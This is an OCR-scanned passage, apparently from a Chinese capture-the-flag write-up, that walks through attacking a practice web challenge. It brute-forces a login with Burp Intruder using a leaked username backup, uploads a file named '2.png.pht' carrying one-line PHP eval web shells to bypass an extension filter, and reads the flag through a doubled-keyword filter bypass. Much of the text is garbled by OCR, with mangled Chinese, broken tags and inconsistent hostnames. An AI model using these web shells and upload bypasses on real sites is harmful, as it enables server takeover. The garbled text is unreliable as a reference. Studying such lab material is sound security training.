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CIDOCTYPE htmi>
<html >
<head>
<meta charset="utf-8" />
itle>=REFtitler
</head>
<body>
<center>
<h8EH A WS BRI T E R /ha>
<form action="" method="POST">
<input type="text” name="username” placeholder=" P&’
<br /<br />
<input type="password” name="password” placeholder="%f% />
<br /> <br />
<input type="submit” name="submit” value="&F" />

R e e
== A BUIA BTAE +HEH T zhangwei 1938 —> >
¢/fhzm - FWRM S G+ A H

<fcenterr


https://blog.csdn.net/qq_42967398
https://blog.csdn.net/qq_42967398/category_8510365.html
https://blog.csdn.net/qq_42967398/category_9014335.html
https://blog.csdn.net/qq_42967398/category_9069394.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_42967398/article/details/91967439
https://blog.csdn.net/qq_42967398/category_8510365.html
https://blog.csdn.net/qq_42967398/category_9014335.html
https://blog.csdn.net/qq_42967398/category_9069394.html

</html>
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3bi38cach5h1534Tibedb T 3dT oA 35654 df cdbB42f ef 284455, changame. ichungiufcom/uzer. php. bak
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FE{EfTH user. php. bak x|
TR THH:
| | mser. php._bak

IRl bak File (3.1 KB)
SFE: rh73d7cBISE54dFc4b542 Fefafddh3. changane. i chungin. com
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[Target I Froxy T Spider I Scanner T\ntruder T Repeater T Sequencer I Decoder T Comparer T Extender I Froject options I Lser options IAIens ]

1 x (el .

[Target ]'F'ositmns T Payloads I Options ]

m Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details. jﬁ%battel‘lng I'am1ﬁﬁ

Attack type lElattermg ram ffm—

Start attack

POST flogin.php HTTR/1.1

Host: 3b38cact56134730h9edb73d7 c635654 dfcdba42fefab4dE3. changame.ichungiu.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WinG4, x64; nvE65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtml+xml application/xml; g=0.9 imagefwebp "™ q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://3b38cac5561347309edb7 3d7 cB35654 dfcd bE42fefab4dE3. changame.ichungiu. com/login. php

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

Connection: close

Cookie: ci_session=4d4e3h2659674bc7 76845697 290603333halea; UM _distinctid=16b5448a3ee0-00fcd ad 266 2208- 14307 440-1fad00- 16b5448a3ef2c3; pgv_pvi=E038581248;
pgv_si=s7214629888; Hm_ivt_2d0601hd28de7 d49818249cf35d95943=1560487175; Hm_lpvt_2d0601bd28der d49818249:f35d95943=1560487260;
chkphone=acWxNpxhQpDiAchhMuSnEqyiQuDIO0000; PHPSESSID=vsmaolcmtjgvkkt10lahaljg31; _ jsluid=eBd96h38627 167 a0fa319ecd7832958
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EJ B B EJ Type & search term

0 matches Clear

2 payload positions Length: 1071
REMAFH-BAT R, FHANATU—EM, SER, , , , , BZ, BHRNT
2L CE VAR A TR
zhangyuzhen
zhangyuzhen1995
RI=TE]
Attack Zave Columns
j Results I Target I Fuositions T FPayloads I Dptions ]
Filter: Showing all items ?
Reques | REVILED] At | ETTar | ||meouti CEmgLn Ti Camrmen
196 |zhangyuzhen 200 ] [] 1044 A
0 {u[u} T T T
1 200 O [] 1009
2 zhangwei 200 O] [] 1009
3 wangwei 200 O [] 1009
4 wangfang 200 | [ 1009
] e 200 O [] 1009
] lina 200 O [J 1008
] lijirg 200 O [] 1009
7 zhangmin 200 g (] 1009 F
Reguest | Response 1
_[ RawI Headers I He:x I HTML T Render }
<farm action="" method="PO5T"> L
<input type="text" name="usemames" placeholder="H " #' /> 1
<hbr f=<br />
<input type="password" name="password" placeholder="#19" />
<hbr /= <hr />
<input type="submit" name="submit" value="%:3" />
<l M P E Al user php i =
<l frm :
<ffarm=
<fcenter=
</hody=
</html=
<hr f=<hbr f=<cefters& FREh</denter><script>location.href="";</script> v
? < + = Type a search term 0 matches
Finished

Bhit%,  , BAEFEGEE:
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CIDOCTYRE html >
<html >
<head>
<meta charset="utf-5" />
<titler A< /titler
</head>
<body>
<centery
- FEFEEEZSE ——
I <form action="" method="FOST” enctype="mul tipart  Form—data >
<imput tppe="file” name="file™ />
<imput type="submit” name="submit” value="_f&"
{Aformy —>
</center>
</body>
</html >
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d--FARAREAE-
¢l--cform action="" method="FOST" enctype="multipart/form-data"> <input type="file" name="file" /» <input type="submit" name="submit" walue="E4{E" /» offorms--»
AR RS
w «form action="" method="FOST" enctype="multipart/form-data"s
<input type="file" name="file":

cinput type="submit" name="submit" walue="E4{E"
<fform:
<fCEMLEr?
ooy
tmlx
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php i — 5 & # ] L3R —F: php2, php3, php4, php5, phps, pht, phtm, phtml

RIE LR, XHBAEE, A XHRBEREER, ©F XL 68 8 php, AR R U% L% jpg,.png,.gif, .bmp)E
SR

L

POST FHTTP/1 1 : HTTP/1.1 200 OK
Host: 3h38cachs613473b9edh73d7 635654 dfcd b4 2fefab4dB3. changame.ichungiu.com Date: Fri, 14 Jun 2019 05:14:53 GMT
User-Agent: MozillaB.0 (Windows NT 6.1; WinG4; x64; nv:65.0) Gecko/20100101 Firefox/65.0 Content-Type: text/html;charset=utf-g
Accept: text/html application/xhtml+xml application/xml; g=0.9 image/webp ", q=0.8 Content-Length: 365
Accept-Language: zh-CN,zh;g=0.8 zh-TW,¢=0.7 ,zh-HK;q=0.5 .en-U5;¢=0.3 en;q=0.2 Connection; close
Accept-Encoding: gzip, deflate Wary: Accept-Encoding
Referer: http: /3038 cach5613473b9edbi3d7 c635654 dfc 4b542fefab4 dE3. changame. ichungiu. com/ Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Type: multipartform-data; boundary=---------c-omeeemeemev 2104499737735 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
Content-Length: 327 Pragma: no-cache
Connection: close Vary: Accept-Encading
Cookie: ci_session=16451f7h35d937 d1f3efl148hcabd96987 ehOab; ¥-Via-J5L decOfl2 -
UM _distinctid=16b5448a3ee0-00fc 424286 eelB- 14307 440- 1fad00-16h5448a3ef2c3; X-Cache: hypass
pgv_pvi=6038581248; pgv_si=s7214629858;
Hrm_Ivt_2d0601hd28de7 d49815249cf35095943=1560487175; <IDOCTYPE htmi>
Hm_lpvt_2d0601bd28de7 d439818243cf35d95943=1560488815; <html>
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDICOC00; PHPSESSID=vsmaol cmtjgvkkt10lahaljg31; <head=
__jsluid=eE6d96fb38627 161 a0fa319:cd783a958 <meta charset="utf-8" />
Upgrade-Insecure-Requests: 1 <title= 4 A drala<fitle>
</head>
----------------------------- 2104499737735 <hody>
Content-Disposition: form-data; name="file"; filename="2.png.pht{ <center>
Content-Type: image/png <l 771 i fil -z
<I-- <form actior
NG <input type="file
<?php <input type="submit" name="submit" value="_t.{£" />
@eval($_POST['cmdT); </fform> >
= <lcenters
----------------------------- 2104495737735 <fbody>
Content-Disposition: form-data; name="submit" </html>
FER A
----------------------------- 2104439737735~
RERBIBEF T E: —HERDRE
HER <P IREIF— 1S
<script language="php"=@eval_ri$ POST[sh])</script>
gt <php P=fREIF—E1E
<?=eval($_POST['cmd),
BT, BRREE
RI=E

Burp Intruder Repeater Window Help

[Target ]' Prozy T Spider I Scanner I Intruder I Repeater T Sequencer I Decoder T Cornparer T Extender ]' Project options ]' User options IAIeﬂs ]

1|2« |3«
Go Cancel < v > | Target: http://3b38cacid613473h9edh73d7 635654 dfcdh542fefab4d63.chang ichungiu.com @J QJ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTMWL T Render ]
POST A HTTRAA .A HTTP/1.1 200 Gk .A
Host: 3b38cack5613473b9edb?3d7 c635654 dfcdb542fefab4dE3. changame.ichungiu.com Date: Fri, 14 Jun 2019 05:20:17 GMT
User-Agent: Mozilla/s.0 (Windows NT B.1; WinG4; x64; ne65.0) Gecko/20100101 Firefox/85.0 Content-Type: text/html; charset=utf-8
Accept: text/html applicationfshtml+xml,application/xml;q=0.9 image/webp */*q=0.8 Content-Length: 365
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 .zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Vary: Accept-Encoding
Referer: http:3h38cacs56134730b9edby 3d7 c635654 dfc4bS4 2fefabd db3. changame. ichungiu. com/ Expires: Thu, 19 Mov 1981 08:52:00 GMT
Content-Type: multipartform-data; boundary=--------------seeeeeeeee 38602124913405 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 355 Fragma: no-cache
Connection; close Vary: Accept-Encoding
Cookie: ci_session=1645117fh35d937d113efl148hcaBdI6957 ebOaly; HMia-JSL 4ecOfl2 -
UM_distinctid=16b5448a3ee0-00fcdad 286 2e08- 14307 440-1a400-16b5448a3 123, ¥-Cache: bypass
pgv_pvi=B038581248; pgv_si=s72146239888,
Hm_Ivt_2d0601 bd28dey d49818249cf35d95943=1560487175; <IDOCTYPE htmi>
Hm_Ipvt_2d0601bd28der d49818249:f35d95943=1560488815; <html=
chkphone=acWxNpxhQpDiAchhMNuSnEqyiQuDIO0000; PHPSESSID=vsmaaolcmtjgvkkt10lahaljg91; <head>
isluid=e6dI6fh38627 161a0fa319ecd783a958 <meta charset="utf8" />



https://www.cnblogs.com/Rcsec/p/9426301.html

Upgrade-Insecure-Requests: 1

rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 38602124913405
Content-Disposition: form-data; name="file"; filename="2.png.pht}"
Content-Type: image/png

TG
script language="php">
@eval(f_POST['cmd])
Jscriptz

SEEUZT24913405
Content-Disposition: form-data; name="submit"

386021245913405-
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0 matches

<title= - A thutr<title>
</head>
<body>
<center>
<l FEFEH
<l <form act
<input type= " e" />
<input type="submit" name="submit" value="1
</form> -->
<fcenters
</body>
</html>

name=

LA

ethod="POST" enctype="multipart/form-data">

f&" />

=
v

[ZJ B B lZJ Type a search term

SEPEET:

722 bytes | 54 mullis |
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[Target I Frosxy T Spider I Scanner I Intruder TRepeater T Sequencer I Decoder T Comparer T Extender I Froject options I User options IAIens ]
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Go Cancel < | > |

Request

Raw | Params | Headers | Hex

Target: http://3h3Bcaci5613473b0e dh73d7 635654 dicdh542fefatid d63. changame.ichungiu.com @@

Response

Raw | Headers | Hex HTMLTR’Ender]

POST A HTTRAA o
Host: 3b38cack5613473b9edb?3d7 c635654 dfcdb542fefab4dE3. changame.ichungiu.com 1
User-Agent: Mozilla/s.0 (Windows NT B.1; WinG4; x64; ne65.0) Gecko/20100101 Firefox/85.0
Accept: text/html applicationfshtml+xml,application/xml;q=0.9 image/webp */*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 .zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http:3h38cacs56134730b9edby 3d7 c635654 dfc4bS4 2fefabd db3. changame. ichungiu. com/
Content-Type: multipartform-data; boundary=--------------seeeeeeeee 304168291955638
Content-Length: 321
Connection: close
Cookie: ci_session=1645117fh35d937d113efl148hcaBdI6957 ebOaly;
UM _distinctid=16b5448a3ee0-00fc4ad 286 ec08-143b7440-1fad00-16h5448a3:12e3;
pov_pvi=B038581248; pgv_si=s72146259868;
Hm_Ivt_2d0601 bd28dey d49818249:f35d95943=1560487175;
Hm_Ipvt_2d0601bd28de7 d49818249:f35d95943=1560488815;
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000; PHPSESSID=vsmaclcmtjgvkkt10lahaljg21;
__isluid=e6d26fh38627161a0fa319ecd783a958
Upgrade-Insecure-Requests: 1
————————————————————————————— 30418291955638
Content-Disposition: form-data; name="file"; filename="2.png.pht}"
Content-Type: image/png
NG
<?P=@eval(§_POST['cmd']);
----------------------------- S04 TH2919565638
Content-Disposition: form-data; name="submit"
304168291955638--
9
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Dane

HTTP/1.1 200 Gk

Date: Fri, 14 Jun 2019 05:24.55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 372

Connection: close

Vary: Accept-Encoding

Expires: Thu, 19 Mov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Fragma: no-cache
Vary: Accept-Encoding
¥Via-JSL 512045 -
¥-Cache: bypass

<IDOCTYPE

<htrnl=

<head>
<meta charset="utf-8" />
<title= - A thutr<title>

</head>

<body>

<center>

<l-- FF

<l-- <form actios
e" />

<input type="submit" name="submit" value="1
</form> -->
<fcenters
</body>
</html>

<a href="/view.php">view</a>

i="POST" enctype="multipart/form-data">

LTS

f&" />

=
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[ZJ B B lZJ Type a search term

SEPEET:

729 bytes | 119 miths |

BRJERE|—NFT I /view.php
HARE MR-
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‘ (D Fb38cach5f13473h0edhT3dTcR35R54 df cdb542f ef 254465, changane
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Kikview.php?file=flag
RIM LT -

N
K<_) = ¢ o ‘ (@ 5b3Boach561347500edbT3dToA35654df c4b54 2f ef 854 dA3. changame. ichungiu. com/view. php?file=flag

EMJEEE?&.@ @ HFty xmRL B aEmEs

filter "flag"

M Eflaggeit, get:

v ~

&« = 4 (i) 5b38cachbf1li473b3edb73dTcAI5A54df cdbhd2f ef af4df 3. changame. ichungiu. com/view. php?file=f1flagag
S
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<Iphp

echo ' flaz is here’ ;
* flag (B3E09F05-2F3d-4e04-9:27 —dc0dbd5edal 0} - ;
O
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